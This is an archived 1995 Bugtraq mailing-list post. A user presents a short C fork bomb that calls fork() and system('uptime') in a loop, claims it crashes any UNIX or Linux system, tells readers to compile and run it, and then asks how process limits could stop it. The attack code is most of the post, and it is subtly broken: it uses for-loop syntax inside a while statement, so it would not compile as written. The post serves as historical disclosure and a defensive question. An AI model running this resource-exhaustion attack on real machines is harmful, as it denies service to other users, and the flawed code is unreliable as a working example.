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Bugtraq archives for 4th quarter (Oct-Dec) 1995: fork()

fork()

Alex Leipold (aleipoldclark.net)
Sun, 10 Dec 1995 10:45:37 -0500

O'm new to the list, so Im not sure if this has been covered, but someone
can crash any system with a few lines of code. (tested on UNIX, LINUX)

main() {
int x;
while(x=0;x<1000000;x++)
{
system("uptime");
fork();
}
}

Gcc it, run it and whatever system your on will crash. Is their any way
to stop users from doing this? I.e. restricting number of process that
can run?